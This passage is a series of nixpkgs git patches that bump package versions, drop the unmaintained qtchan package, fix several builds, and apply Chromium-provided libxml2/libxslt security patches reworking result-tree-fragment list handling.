+++ b/pkgs/by-name/ai/air-formatter/package.nix
@@ -7,20 +7,20 @@
 }:
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "air-formatter";
-  version = "0.5.0";
+  version = "0.7.0";
 
   src = fetchFromGitHub {
     owner = "posit-dev";
     repo = "air";
     tag = finalAttrs.version;
-    hash = "sha256-0eka87HKanB4Q8SfV04u01O92MJorJ9lBT8HqijADUs=";
+    hash = "sha256-jFOhTol5e3TcU217HgcCKutydTePmc5/viilgiJqpqE=";
   };
 
   # Remove duplicate entries from cargo lock
   cargoPatches = [ ./cargo-lock.patch ];
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-R+al7LWHDvVubfdQVVue1wmgl5do5m06JD5akj1NB9Q=";
+  cargoHash = "sha256-3v/pgm6BjPvQToSmZ2PrUWTrgffjifB3Xmp1liWCUck=";
 
   useNextest = true;
 

From db1bc77e6de163bf311d44d51d370505ae48569b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Vladim=C3=ADr=20=C4=8Cun=C3=A1t?= <v@cunat.cz>
Date: Wed, 2 Jul 2025 22:48:40 +0200
Subject: [PATCH 1947/4511] thunderbird-esr: 128.11.1esr -> 128.12.0esr

https://www.thunderbird.net/en-US/thunderbird/128.12.0esr/releasenotes/
(cherry picked from commit 6ec81397ae308fb54c12bd5d41e9b0b12e1e350d)
---
 .../networking/mailreaders/thunderbird/packages.nix           | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/mailreaders/thunderbird/packages.nix b/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
index f362280223a4..168bd3881d64 100644
--- a/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
+++ b/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
@@ -109,8 +109,8 @@ rec {
   thunderbird-128 = common {
     applicationName = "Thunderbird ESR";
 
-    version = "128.11.1esr";
-    sha512 = "8fd99f68895b543bdc5bba38d7720f0e48e2a82c9fe5e8ca15534e3918cc40b5b2911666dbbbda0a7911783a03a0d8f7371ea353fd67416baca1e1dffdd25c44";
+    version = "128.12.0esr";
+    sha512 = "4566ae8347e959612a288524753416f5b730757f10a067b6eb11139055cc1fc5d63d49636e798e9b77588896c8dbc0f2acc189ebd29d95a5166e7bc8f2c35e30";
 
     updateScript = callPackage ./update.nix {
       attrPath = "thunderbirdPackages.thunderbird-128";

From 7c197bbfd487a7d4c8ada1beac454738e346c3ab Mon Sep 17 00:00:00 2001
From: rewine <luhongxu@deepin.org>
Date: Tue, 1 Jul 2025 20:33:05 +0800
Subject: [PATCH 1948/4511] qtchan: drop

(cherry picked from commit 6a960616eb42eff9d392d52abc0a339c55afd1a6)
---
 .../networking/browsers/qtchan/default.nix    | 37 -------------------
 pkgs/top-level/aliases.nix                    |  1 +
 pkgs/top-level/all-packages.nix               |  2 -
 3 files changed, 1 insertion(+), 39 deletions(-)
 delete mode 100644 pkgs/applications/networking/browsers/qtchan/default.nix

diff --git a/pkgs/applications/networking/browsers/qtchan/default.nix b/pkgs/applications/networking/browsers/qtchan/default.nix
deleted file mode 100644
index 3e266f5f8712..000000000000
--- a/pkgs/applications/networking/browsers/qtchan/default.nix
+++ /dev/null
@@ -1,37 +0,0 @@
-{
-  mkDerivation,
-  lib,
-  fetchFromGitHub,
-  qmake,
-  qtbase,
-}:
-
-mkDerivation rec {
-  pname = "qtchan";
-  version = "1.0.1";
-
-  src = fetchFromGitHub {
-    owner = "siavash119";
-    repo = "qtchan";
-    rev = "v${version}";
-    sha256 = "1x11m1kwqindzc0dkpfifcglsb362impaxs85kgzx50p898sz9ll";
-  };
-
-  nativeBuildInputs = [ qmake ];
-  buildInputs = [ qtbase ];
-  qmakeFlags = [ "CONFIG-=app_bundle" ];
-
-  installPhase = ''
-    mkdir -p $out/bin
-    cp qtchan $out/bin
-  '';
-
-  meta = with lib; {
-    description = "4chan browser in qt5";
-    mainProgram = "qtchan";
-    homepage = "https://github.com/siavash119/qtchan";
-    license = licenses.mit;
-    maintainers = with maintainers; [ Madouura ];
-    platforms = platforms.unix;
-  };
-}
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index 977d34e67283..2939defadd6f 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -1618,6 +1618,7 @@ mapAliases {
   qt515 = qt5; # Added 2022-11-24
   qt5ct = throw "'qt5ct' has been renamed to/replaced by 'libsForQt5.qt5ct'"; # Converted to throw 2024-10-17
   qt6ct = qt6Packages.qt6ct; # Added 2023-03-07
+  qtchan = throw "'qtchan' has been removed due to lack of maintenance upstream"; # Added 2025-07-01
   qtcurve = throw "'qtcurve' has been renamed to/replaced by 'libsForQt5.qtcurve'"; # Converted to throw 2024-10-17
   qtile-unwrapped = python3.pkgs.qtile; # Added 2023-05-12
   quantum-espresso-mpi = quantum-espresso; # Added 2023-11-23
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 9e0453af4643..601fbc2a40d9 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -13832,8 +13832,6 @@ with pkgs;
 
   qtbitcointrader = libsForQt5.callPackage ../applications/misc/qtbitcointrader { };
 
-  qtchan = libsForQt5.callPackage ../applications/networking/browsers/qtchan { };
-
   qtemu = libsForQt5.callPackage ../applications/virtualization/qtemu { };
 
   qtpass = libsForQt5.callPackage ../applications/misc/qtpass { };

From c7e5282419462f7cc2fd08b67c4e264930e6c074 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Vladim=C3=ADr=20=C4=8Cun=C3=A1t?= <v@cunat.cz>
Date: Wed, 18 Jun 2025 08:31:55 +0200
Subject: [PATCH 1949/4511] libs3: patch build from upstream PR

(cherry picked from commit 263099c9650047f318c807479ba0c0e800915d27)
https://hydra.nixos.org/build/300818887/nixlog/1/tail
---
 pkgs/by-name/li/libs3/package.nix | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/pkgs/by-name/li/libs3/package.nix b/pkgs/by-name/li/libs3/package.nix
index 03519d6c4f78..623e0318cbbc 100644
--- a/pkgs/by-name/li/libs3/package.nix
+++ b/pkgs/by-name/li/libs3/package.nix
@@ -25,6 +25,11 @@ stdenv.mkDerivation {
       url = "https://github.com/bji/libs3/pull/112/commits/3c3a1cf915e62b730db854d8007ba835cb38677c.patch";
       hash = "sha256-+rWRh8dOznHlamc/T9qbgN0E2Rww3Hn94UeErxNDccs=";
     })
+    (fetchpatch {
+      # Fix compilation with new curl
+      url = "https://github.com/bji/libs3/pull/115/commits/01c8c216128f49936ee3fcf7b66905f8813ea0bd.diff";
+      hash = "sha256-/8lv+Mi9XtEVlZV/sypp4AY4Wxd7XmKt3S6Q7KCxw6I=";
+    })
   ];
 
   postPatch = ''

From bc8319c4d1ddb1c694340a59aadbd38f4b2dc677 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Vladim=C3=ADr=20=C4=8Cun=C3=A1t?= <v@cunat.cz>
Date: Thu, 3 Jul 2025 08:23:35 +0200
Subject: [PATCH 1950/4511] deepin.dtk6gui: fix missing #include

This happens probably after qt6: 6.9.0 -> 6.9.1,
though I've only confirmed the issue on 25.05 so far:
https://hydra.nixos.org/build/301582029/nixlog/1/tail

(cherry picked from commit 8f8a9bbeb72509bef2cd9f3a0f717644706f6baa)
---
 pkgs/desktops/deepin/library/dtk6gui/default.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/pkgs/desktops/deepin/library/dtk6gui/default.nix b/pkgs/desktops/deepin/library/dtk6gui/default.nix
index 3dcdbe931e97..e66063f416b5 100644
--- a/pkgs/desktops/deepin/library/dtk6gui/default.nix
+++ b/pkgs/desktops/deepin/library/dtk6gui/default.nix
@@ -35,6 +35,8 @@ stdenv.mkDerivation (finalAttrs: {
   postPatch = ''
     substituteInPlace src/util/dsvgrenderer.cpp \
       --replace-fail 'QLibrary("rsvg-2", "2")' 'QLibrary("${lib.getLib librsvg}/lib/librsvg-2.so")'
+    sed '1i#include <pwd.h>' \
+      -i 'src/kernel/dguiapplicationhelper.cpp'
   '';
 
   nativeBuildInputs = [

From 7ec9b270a85b1039be56b0f6ad989ac74a0f166a Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Wed, 2 Jul 2025 14:33:32 +0200
Subject: [PATCH 1951/4511] nixVersions.git.tests.srcVersion: fix

The version is not an exact match, and that's expected, because
we can't really update .version for each commit on master.

(cherry picked from commit 92d288c8648a84c8ad7088103cdc26a8aece93de)
---
 pkgs/tools/package-management/nix/tests.nix | 25 +++++++++++++++++----
 1 file changed, 21 insertions(+), 4 deletions(-)

diff --git a/pkgs/tools/package-management/nix/tests.nix b/pkgs/tools/package-management/nix/tests.nix
index 662cfe7d194c..c9c7ddf2f0c0 100644
--- a/pkgs/tools/package-management/nix/tests.nix
+++ b/pkgs/tools/package-management/nix/tests.nix
@@ -23,10 +23,27 @@
         srcVersion=$(cat ${src}/.version)
         echo "Version in nix nix expression: $version"
         echo "Version in nix.src: $srcVersion"
-        if [ "$version" != "$srcVersion" ]; then
-          echo "Version mismatch!"
-          exit 1
-        fi
+        ${
+          if self_attribute_name == "git" then
+            # Major and minor must match, patch can be missing or have a suffix like a commit hash. That's all fine.
+            ''
+              majorMinor() {
+                echo "$1" | sed -n -e 's/\([0-9]*\.[0-9]*\).*/\1/p'
+              }
+              if (set -x; [ "$(majorMinor "$version")" != "$(majorMinor "$srcVersion")" ]); then
+                echo "Version mismatch!"
+                exit 1
+              fi
+            ''
+          else
+            # exact match
+            ''
+              if [ "$version" != "$srcVersion" ]; then
+                echo "Version mismatch!"
+                exit 1
+              fi
+            ''
+        }
         touch $out
       '';
 

From 0fa20d2d9becad12bbe0d579f332b391b5e09e96 Mon Sep 17 00:00:00 2001
From: Jan Tojnar <jtojnar@gmail.com>
Date: Wed, 18 Jun 2025 09:29:57 +0200
Subject: [PATCH 1952/4511] libxml2: Apply ABI breaking patch from Chromium
 needed for libxslt CVE fixes

(cherry picked from commit 77b52c35202d3e52f4e4a30dd76bbe36feb97a87)
---
 .../development/libraries/libxml2/default.nix |  9 +++++++++
 .../libraries/libxml2/xml-attr-extra.patch    | 20 +++++++++++++++++++
 2 files changed, 29 insertions(+)
 create mode 100644 pkgs/development/libraries/libxml2/xml-attr-extra.patch

diff --git a/pkgs/development/libraries/libxml2/default.nix b/pkgs/development/libraries/libxml2/default.nix
index 31e058c01048..9c93590323c7 100644
--- a/pkgs/development/libraries/libxml2/default.nix
+++ b/pkgs/development/libraries/libxml2/default.nix
@@ -51,6 +51,15 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-J3KUyzMRmrcbK8gfL0Rem8lDW4k60VuyzSsOhZoO6Eo=";
   };
 
+  patches = [
+    # Unmerged ABI-breaking patch required to fix the following security issues:
+    # - https://gitlab.gnome.org/GNOME/libxslt/-/issues/139
+    # - https://gitlab.gnome.org/GNOME/libxslt/-/issues/140
+    # See also https://gitlab.gnome.org/GNOME/libxml2/-/issues/906
+    # Source: https://github.com/chromium/chromium/blob/4fb4ae8ce3daa399c3d8ca67f2dfb9deffcc7007/third_party/libxml/chromium/xml-attr-extra.patch
+    ./xml-attr-extra.patch
+  ];
+
   strictDeps = true;
 
   nativeBuildInputs = [
diff --git a/pkgs/development/libraries/libxml2/xml-attr-extra.patch b/pkgs/development/libraries/libxml2/xml-attr-extra.patch
new file mode 100644
index 000000000000..8753c30e3893
--- /dev/null
+++ b/pkgs/development/libraries/libxml2/xml-attr-extra.patch
@@ -0,0 +1,20 @@
+diff --git a/include/libxml/tree.h b/include/libxml/tree.h
+index e5a8fb709471f..7819d5819b427 100644
+--- a/include/libxml/tree.h
++++ b/include/libxml/tree.h
+@@ -454,6 +454,7 @@ struct _xmlAttr {
+     xmlAttributeType atype;     /* the attribute type if validating */
+     void            *psvi;	/* for type/PSVI information */
+     struct _xmlID   *id;        /* the ID struct */
++    unsigned int     extra;     /* extra data for XPath/XSLT */
+ };
+ 
+ /**
+@@ -592,6 +593,7 @@ struct _xmlDoc {
+ 				   document */
+     int             properties;	/* set of xmlDocProperties for this document
+ 				   set at the end of parsing */
++    unsigned int    extra;      /* extra data for XPath/XSLT */
+ };
+ 
+ 

From 155c4cf9aed404795b55da726905494e249bba70 Mon Sep 17 00:00:00 2001
From: Jan Tojnar <jtojnar@gmail.com>
Date: Wed, 18 Jun 2025 09:47:44 +0200
Subject: [PATCH 1953/4511] libxslt: Fix three security issues

Note, libxslt is no longer maintained upstream. The patches were provided by Chromium developers.

Unfortunately, the patch for https://gitlab.gnome.org/GNOME/libxslt/-/issues/139 and https://gitlab.gnome.org/GNOME/libxslt/-/issues/140 depends on unmerged libxml2 patch that breaks ABI.

(cherry picked from commit 6fe92b4813208e8c6674f6113576ebcc6903f557)
---
 ...to-maintain-the-list-of-cached-rv-ts.patch | 704 ++++++++++++++++++
 .../development/libraries/libxslt/default.nix |  17 +
 .../libxslt/new-unified-atype-extra.patch     | 206 +++++
 3 files changed, 927 insertions(+)
 create mode 100644 pkgs/development/libraries/libxslt/77-Use-a-dedicated-node-type-to-maintain-the-list-of-cached-rv-ts.patch
 create mode 100644 pkgs/development/libraries/libxslt/new-unified-atype-extra.patch

diff --git a/pkgs/development/libraries/libxslt/77-Use-a-dedicated-node-type-to-maintain-the-list-of-cached-rv-ts.patch b/pkgs/development/libraries/libxslt/77-Use-a-dedicated-node-type-to-maintain-the-list-of-cached-rv-ts.patch
new file mode 100644
index 000000000000..19a569eb318f
--- /dev/null
+++ b/pkgs/development/libraries/libxslt/77-Use-a-dedicated-node-type-to-maintain-the-list-of-cached-rv-ts.patch
@@ -0,0 +1,704 @@
+From afbaf5fcf0a92973ffaeb38fe4ab3e8a818f4c5a Mon Sep 17 00:00:00 2001
+From: Daniel Cheng <zetafunction@gmail.com>
+Date: Thu, 5 Jun 2025 09:43:53 -0700
+Subject: [PATCH] Use a dedicated node type to maintain the list of cached RVTs
+
+While evaluating a stylesheet, result value trees (result tree fragments
+in the XSLT spec) are represented as xmlDocs and cached on the transform
+context in a linked list, using xmlDoc's prev and next pointers to
+maintain the list.
+
+However, XPath evaluations can inadvertently traverse these links, which
+are an implementation detail and do not reflect the actual document
+structure. Using a dedicated node type avoids these unintended
+traversals.
+---
+ libxslt/transform.c     |  87 ++++++++--------
+ libxslt/variables.c     | 219 +++++++++++++++++++++++++---------------
+ libxslt/xsltInternals.h |  23 +++--
+ 3 files changed, 199 insertions(+), 130 deletions(-)
+
+diff --git a/libxslt/transform.c b/libxslt/transform.c
+index 54ef821b..2d06ae77 100644
+--- a/libxslt/transform.c
++++ b/libxslt/transform.c
+@@ -518,19 +518,20 @@ xsltTransformCacheFree(xsltTransformCachePtr cache)
+     /*
+     * Free tree fragments.
+     */
+-    if (cache->RVT) {
+-	xmlDocPtr tmp, cur = cache->RVT;
++    if (cache->rvtList) {
++	xsltRVTListPtr tmp, cur = cache->rvtList;
+ 	while (cur) {
+ 	    tmp = cur;
+-	    cur = (xmlDocPtr) cur->next;
+-	    if (tmp->_private != NULL) {
++	    cur = cur->next;
++	    if (tmp->RVT->_private != NULL) {
+ 		/*
+-		* Tree the document info.
++		* Free the document info.
+ 		*/
+-		xsltFreeDocumentKeys((xsltDocumentPtr) tmp->_private);
+-		xmlFree(tmp->_private);
++		xsltFreeDocumentKeys((xsltDocumentPtr) tmp->RVT->_private);
++		xmlFree(tmp->RVT->_private);
+ 	    }
+-	    xmlFreeDoc(tmp);
++            xmlFreeDoc(tmp->RVT);
++            xmlFree(tmp);
+ 	}
+     }
+     /*
+@@ -2263,38 +2264,36 @@ xsltLocalVariablePush(xsltTransformContextPtr ctxt,
+  * are preserved; all other fragments are freed/cached.
+  */
+ static void
+-xsltReleaseLocalRVTs(xsltTransformContextPtr ctxt, xmlDocPtr base)
++xsltReleaseLocalRVTs(xsltTransformContextPtr ctxt, xsltRVTListPtr base)
+ {
+-    xmlDocPtr cur = ctxt->localRVT, tmp;
++    xsltRVTListPtr cur = ctxt->localRVTList, tmp;
+ 
+     if (cur == base)
+         return;
+-    if (cur->prev != NULL)
+-        xsltTransformError(ctxt, NULL, NULL, "localRVT not head of list\n");
+ 
+-    /* Reset localRVT early because some RVTs might be registered again. */
+-    ctxt->localRVT = base;
+-    if (base != NULL)
+-        base->prev = NULL;
++    /* Reset localRVTList early because some RVTs might be registered again. */
++    ctxt->localRVTList = base;
+ 
+     do {
+         tmp = cur;
+-        cur = (xmlDocPtr) cur->next;
+-        if (tmp->compression == XSLT_RVT_LOCAL) {
+-            xsltReleaseRVT(ctxt, tmp);
+-        } else if (tmp->compression == XSLT_RVT_GLOBAL) {
+-            xsltRegisterPersistRVT(ctxt, tmp);
+-        } else if (tmp->compression == XSLT_RVT_FUNC_RESULT) {
++        cur = cur->next;
++        if (tmp->RVT->compression == XSLT_RVT_LOCAL) {
++            xsltReleaseRVTList(ctxt, tmp);
++        } else if (tmp->RVT->compression == XSLT_RVT_GLOBAL) {
++            xsltRegisterPersistRVT(ctxt, tmp->RVT);
++            xmlFree(tmp);
++        } else if (tmp->RVT->compression == XSLT_RVT_FUNC_RESULT) {
+             /*
+              * This will either register the RVT again or move it to the
+              * context variable.
+              */
+-            xsltRegisterLocalRVT(ctxt, tmp);
+-            tmp->compression = XSLT_RVT_FUNC_RESULT;
++            xsltRegisterLocalRVT(ctxt, tmp->RVT);
++            tmp->RVT->compression = XSLT_RVT_FUNC_RESULT;
++            xmlFree(tmp);
+         } else {
+             xmlGenericError(xmlGenericErrorContext,
+-                    "xsltReleaseLocalRVTs: Unexpected RVT flag %p\n",
+-                    tmp->psvi);
++                    "xsltReleaseLocalRVTs: Unexpected RVT flag %d\n",
++                    tmp->RVT->compression);
+         }
+     } while (cur != base);
+ }
+@@ -2322,7 +2321,7 @@ xsltApplySequenceConstructor(xsltTransformContextPtr ctxt,
+     xmlNodePtr oldInsert, oldInst, oldCurInst, oldContextNode;
+     xmlNodePtr cur, insert, copy = NULL;
+     int level = 0, oldVarsNr;
+-    xmlDocPtr oldLocalFragmentTop;
++    xsltRVTListPtr oldLocalFragmentTop;
+ 
+ #ifdef XSLT_REFACTORED
+     xsltStylePreCompPtr info;
+@@ -2368,7 +2367,7 @@ xsltApplySequenceConstructor(xsltTransformContextPtr ctxt,
+     }
+     ctxt->depth++;
+ 
+-    oldLocalFragmentTop = ctxt->localRVT;
++    oldLocalFragmentTop = ctxt->localRVTList;
+     oldInsert = insert = ctxt->insert;
+     oldInst = oldCurInst = ctxt->inst;
+     oldContextNode = ctxt->node;
+@@ -2602,7 +2601,7 @@ xsltApplySequenceConstructor(xsltTransformContextPtr ctxt,
+ 		    /*
+ 		    * Cleanup temporary tree fragments.
+ 		    */
+-		    if (oldLocalFragmentTop != ctxt->localRVT)
++		    if (oldLocalFragmentTop != ctxt->localRVTList)
+ 			xsltReleaseLocalRVTs(ctxt, oldLocalFragmentTop);
+ 
+ 		    ctxt->insert = oldInsert;
+@@ -2697,7 +2696,7 @@ xsltApplySequenceConstructor(xsltTransformContextPtr ctxt,
+ 		    /*
+ 		    * Cleanup temporary tree fragments.
+ 		    */
+-		    if (oldLocalFragmentTop != ctxt->localRVT)
++		    if (oldLocalFragmentTop != ctxt->localRVTList)
+ 			xsltReleaseLocalRVTs(ctxt, oldLocalFragmentTop);
+ 
+ 		    ctxt->insert = oldInsert;
+@@ -2763,7 +2762,7 @@ xsltApplySequenceConstructor(xsltTransformContextPtr ctxt,
+ 		/*
+ 		* Cleanup temporary tree fragments.
+ 		*/
+-		if (oldLocalFragmentTop != ctxt->localRVT)
++		if (oldLocalFragmentTop != ctxt->localRVTList)
+ 		    xsltReleaseLocalRVTs(ctxt, oldLocalFragmentTop);
+ 
+                 ctxt->insert = oldInsert;
+@@ -2893,7 +2892,7 @@ xsltApplySequenceConstructor(xsltTransformContextPtr ctxt,
+ 		/*
+ 		* Cleanup temporary tree fragments.
+ 		*/
+-		if (oldLocalFragmentTop != ctxt->localRVT)
++		if (oldLocalFragmentTop != ctxt->localRVTList)
+ 		    xsltReleaseLocalRVTs(ctxt, oldLocalFragmentTop);
+ 
+                 ctxt->insert = oldInsert;
+@@ -3072,7 +3071,7 @@ xsltApplyXSLTTemplate(xsltTransformContextPtr ctxt,
+     int oldVarsBase = 0;
+     xmlNodePtr cur;
+     xsltStackElemPtr tmpParam = NULL;
+-    xmlDocPtr oldUserFragmentTop;
++    xsltRVTListPtr oldUserFragmentTop;
+ #ifdef WITH_PROFILER
+     long start = 0;
+ #endif
+@@ -3120,8 +3119,8 @@ xsltApplyXSLTTemplate(xsltTransformContextPtr ctxt,
+         return;
+ 	}
+ 
+-    oldUserFragmentTop = ctxt->tmpRVT;
+-    ctxt->tmpRVT = NULL;
++    oldUserFragmentTop = ctxt->tmpRVTList;
++    ctxt->tmpRVTList = NULL;
+ 
+     /*
+     * Initiate a distinct scope of local params/variables.
+@@ -3232,16 +3231,16 @@ xsltApplyXSLTTemplate(xsltTransformContextPtr ctxt,
+     * user code should now use xsltRegisterLocalRVT() instead
+     * of the obsolete xsltRegisterTmpRVT().
+     */
+-    if (ctxt->tmpRVT) {
+-	xmlDocPtr curdoc = ctxt->tmpRVT, tmp;
++    if (ctxt->tmpRVTList) {
++	xsltRVTListPtr curRVTList = ctxt->tmpRVTList, tmp;
+ 
+-	while (curdoc != NULL) {
+-	    tmp = curdoc;
+-	    curdoc = (xmlDocPtr) curdoc->next;
+-	    xsltReleaseRVT(ctxt, tmp);
++	while (curRVTList != NULL) {
++	    tmp = curRVTList;
++	    curRVTList = curRVTList->next;
++	    xsltReleaseRVTList(ctxt, tmp);
+ 	}
+     }
+-    ctxt->tmpRVT = oldUserFragmentTop;
++    ctxt->tmpRVTList = oldUserFragmentTop;
+ 
+     /*
+     * Pop the xsl:template declaration from the stack.
+@@ -5319,7 +5318,7 @@ xsltIf(xsltTransformContextPtr ctxt, xmlNodePtr contextNode,
+ 
+ #ifdef XSLT_FAST_IF
+     {
+-	xmlDocPtr oldLocalFragmentTop = ctxt->localRVT;
++	xsltRVTListPtr oldLocalFragmentTop = ctxt->localRVTList;
+ 
+ 	res = xsltPreCompEvalToBoolean(ctxt, contextNode, comp);
+ 
+@@ -5327,7 +5326,7 @@ xsltIf(xsltTransformContextPtr ctxt, xmlNodePtr contextNode,
+ 	* Cleanup fragments created during evaluation of the
+ 	* "select" expression.
+ 	*/
+-	if (oldLocalFragmentTop != ctxt->localRVT)
++	if (oldLocalFragmentTop != ctxt->localRVTList)
+ 	    xsltReleaseLocalRVTs(ctxt, oldLocalFragmentTop);
+     }
+ 
+diff --git a/libxslt/variables.c b/libxslt/variables.c
+index eb98aab2..6696d9a1 100644
+--- a/libxslt/variables.c
++++ b/libxslt/variables.c
+@@ -47,6 +47,21 @@ static const xmlChar *xsltComputingGlobalVarMarker =
+ #define XSLT_VAR_IN_SELECT (1<<1)
+ #define XSLT_TCTXT_VARIABLE(c) ((xsltStackElemPtr) (c)->contextVariable)
+ 
++static xsltRVTListPtr
++xsltRVTListCreate(void)
++{
++    xsltRVTListPtr ret;
++
++    ret = (xsltRVTListPtr) xmlMalloc(sizeof(xsltRVTList));
++    if (ret == NULL) {
++	xsltTransformError(NULL, NULL, NULL,
++	    "xsltRVTListCreate: malloc failed\n");
++	return(NULL);
++    }
++    memset(ret, 0, sizeof(xsltRVTList));
++    return(ret);
++}
++
+ /************************************************************************
+  *									*
+  *  Result Value Tree (Result Tree Fragment) interfaces			*
+@@ -64,6 +79,7 @@ static const xmlChar *xsltComputingGlobalVarMarker =
+ xmlDocPtr
+ xsltCreateRVT(xsltTransformContextPtr ctxt)
+ {
++    xsltRVTListPtr rvtList;
+     xmlDocPtr container;
+ 
+     /*
+@@ -76,12 +92,11 @@ xsltCreateRVT(xsltTransformContextPtr ctxt)
+     /*
+     * Reuse a RTF from the cache if available.
+     */
+-    if (ctxt->cache->RVT) {
+-	container = ctxt->cache->RVT;
+-	ctxt->cache->RVT = (xmlDocPtr) container->next;
+-	/* clear the internal pointers */
+-	container->next = NULL;
+-	container->prev = NULL;
++    if (ctxt->cache->rvtList) {
++        rvtList = ctxt->cache->rvtList;
++	container = ctxt->cache->rvtList->RVT;
++	ctxt->cache->rvtList = rvtList->next;
++        xmlFree(rvtList);
+ 	if (ctxt->cache->nbRVT > 0)
+ 	    ctxt->cache->nbRVT--;
+ #ifdef XSLT_DEBUG_PROFILE_CACHE
+@@ -119,11 +134,16 @@ xsltCreateRVT(xsltTransformContextPtr ctxt)
+ int
+ xsltRegisterTmpRVT(xsltTransformContextPtr ctxt, xmlDocPtr RVT)
+ {
++    xsltRVTListPtr list;
++
+     if ((ctxt == NULL) || (RVT == NULL))
+ 	return(-1);
+ 
+-    RVT->prev = NULL;
++    list = xsltRVTListCreate();
++    if (list == NULL) return(-1);
++
+     RVT->compression = XSLT_RVT_LOCAL;
++    list->RVT = RVT;
+ 
+     /*
+     * We'll restrict the lifetime of user-created fragments
+@@ -131,15 +151,13 @@ xsltRegisterTmpRVT(xsltTransformContextPtr ctxt, xmlDocPtr RVT)
+     * var/param itself.
+     */
+     if (ctxt->contextVariable != NULL) {
+-	RVT->next = (xmlNodePtr) XSLT_TCTXT_VARIABLE(ctxt)->fragment;
+-	XSLT_TCTXT_VARIABLE(ctxt)->fragment = RVT;
++	list->next = XSLT_TCTXT_VARIABLE(ctxt)->fragment;
++	XSLT_TCTXT_VARIABLE(ctxt)->fragment = list;
+ 	return(0);
+     }
+ 
+-    RVT->next = (xmlNodePtr) ctxt->tmpRVT;
+-    if (ctxt->tmpRVT != NULL)
+-	ctxt->tmpRVT->prev = (xmlNodePtr) RVT;
+-    ctxt->tmpRVT = RVT;
++    list->next = ctxt->tmpRVTList;
++    ctxt->tmpRVTList = list;
+     return(0);
+ }
+ 
+@@ -159,11 +177,16 @@ int
+ xsltRegisterLocalRVT(xsltTransformContextPtr ctxt,
+ 		     xmlDocPtr RVT)
+ {
++    xsltRVTListPtr list;
++
+     if ((ctxt == NULL) || (RVT == NULL))
+ 	return(-1);
+ 
+-    RVT->prev = NULL;
++    list = xsltRVTListCreate();
++    if (list == NULL) return(-1);
++
+     RVT->compression = XSLT_RVT_LOCAL;
++    list->RVT = RVT;
+ 
+     /*
+     * When evaluating "select" expressions of xsl:variable
+@@ -174,8 +197,8 @@ xsltRegisterLocalRVT(xsltTransformContextPtr ctxt,
+     if ((ctxt->contextVariable != NULL) &&
+ 	(XSLT_TCTXT_VARIABLE(ctxt)->flags & XSLT_VAR_IN_SELECT))
+     {
+-	RVT->next = (xmlNodePtr) XSLT_TCTXT_VARIABLE(ctxt)->fragment;
+-	XSLT_TCTXT_VARIABLE(ctxt)->fragment = RVT;
++	list->next = XSLT_TCTXT_VARIABLE(ctxt)->fragment;
++	XSLT_TCTXT_VARIABLE(ctxt)->fragment = list;
+ 	return(0);
+     }
+     /*
+@@ -183,10 +206,8 @@ xsltRegisterLocalRVT(xsltTransformContextPtr ctxt,
+     * If not reference by a returning instruction (like EXSLT's function),
+     * then this fragment will be freed, when the instruction exits.
+     */
+-    RVT->next = (xmlNodePtr) ctxt->localRVT;
+-    if (ctxt->localRVT != NULL)
+-	ctxt->localRVT->prev = (xmlNodePtr) RVT;
+-    ctxt->localRVT = RVT;
++    list->next = ctxt->localRVTList;
++    ctxt->localRVTList = list;
+     return(0);
+ }
+ 
+@@ -344,8 +365,9 @@ xsltFlagRVTs(xsltTransformContextPtr ctxt, xmlXPathObjectPtr obj, int val) {
+  * @ctxt:  an XSLT transformation context
+  * @RVT:  a result value tree (Result Tree Fragment)
+  *
+- * Either frees the RVT (which is an xmlDoc) or stores
+- * it in the context's cache for later reuse.
++ * Either frees the RVT (which is an xmlDoc) or stores it in the context's
++ * cache for later reuse. Preserved for ABI/API compatibility; internal use
++ * has all migrated to xsltReleaseRVTList().
+  */
+ void
+ xsltReleaseRVT(xsltTransformContextPtr ctxt, xmlDocPtr RVT)
+@@ -353,36 +375,64 @@ xsltReleaseRVT(xsltTransformContextPtr ctxt, xmlDocPtr RVT)
+     if (RVT == NULL)
+ 	return;
+ 
++    xsltRVTListPtr list = xsltRVTListCreate();
++    if (list == NULL) {
++        if (RVT->_private != NULL) {
++            xsltFreeDocumentKeys((xsltDocumentPtr) RVT->_private);
++            xmlFree(RVT->_private);
++        }
++        xmlFreeDoc(RVT);
++        return;
++    }
++
++    xsltReleaseRVTList(ctxt, list);
++}
++
++/**
++ * xsltReleaseRVTList:
++ * @ctxt:  an XSLT transformation context
++ * @list:  a list node containing a result value tree (Result Tree Fragment)
++ *
++ * Either frees the list node or stores it in the context's cache for later
++ * reuse. Optimization to avoid adding a fallible allocation path when the
++ * caller already has a RVT list node.
++ */
++void
++xsltReleaseRVTList(xsltTransformContextPtr ctxt, xsltRVTListPtr list)
++{
++    if (list == NULL)
++	return;
++
+     if (ctxt && (ctxt->cache->nbRVT < 40)) {
+ 	/*
+ 	* Store the Result Tree Fragment.
+ 	* Free the document info.
+ 	*/
+-	if (RVT->_private != NULL) {
+-	    xsltFreeDocumentKeys((xsltDocumentPtr) RVT->_private);
+-	    xmlFree(RVT->_private);
+-	    RVT->_private = NULL;
++	if (list->RVT->_private != NULL) {
++	    xsltFreeDocumentKeys((xsltDocumentPtr) list->RVT->_private);
++	    xmlFree(list->RVT->_private);
++	    list->RVT->_private = NULL;
+ 	}
+ 	/*
+ 	* Clear the document tree.
+ 	*/
+-	if (RVT->children != NULL) {
+-	    xmlFreeNodeList(RVT->children);
+-	    RVT->children = NULL;
+-	    RVT->last = NULL;
++	if (list->RVT->children != NULL) {
++	    xmlFreeNodeList(list->RVT->children);
